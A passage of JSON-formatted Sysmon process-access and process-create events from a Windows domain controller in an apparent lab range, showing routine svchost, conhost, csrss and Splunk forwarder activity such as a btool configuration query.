AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3330,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010001F0500}\r\nTargetProcessId: 4340\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010001F0500}","TargetProcessId":"4340","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3331,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.932\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010001F0500}\r\nSourceProcessId: 4340\r\nSourceThreadId: 3232\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.932","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010001F0500}","SourceProcessId":"4340","SourceThreadId":"3232","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3332,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.969\r\nProcessGuid: {90617006-407B-5F2D-0000-0010BE210500}\r\nProcessId: 4520\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list kvstore --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-407B-5F2D-0000-001033180500}\r\nParentProcessId: 2932\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.969","ProcessGuid":"{90617006-407B-5F2D-0000-0010BE210500}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list kvstore --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-407B-5F2D-0000-001033180500}","ParentProcessId":"2932","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3333,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.963\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001033180500}\r\nSourceProcessId: 2932\r\nSourceThreadId: 2604\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010BE210500}\r\nTargetProcessId: 4520\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+14ab4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+d1d8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.963","SourceProcessGUID":"{90617006-407B-5F2D-0000-001033180500}","SourceProcessId":"2932","SourceThreadId":"2604","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010BE210500}","TargetProcessId":"4520","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+14ab4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+d1d8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3334,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.963\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010BE210500}\r\nTargetProcessId: 4520\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.963","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010BE210500}","TargetProcessId":"4520","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3335,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3336,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3337,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3338,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 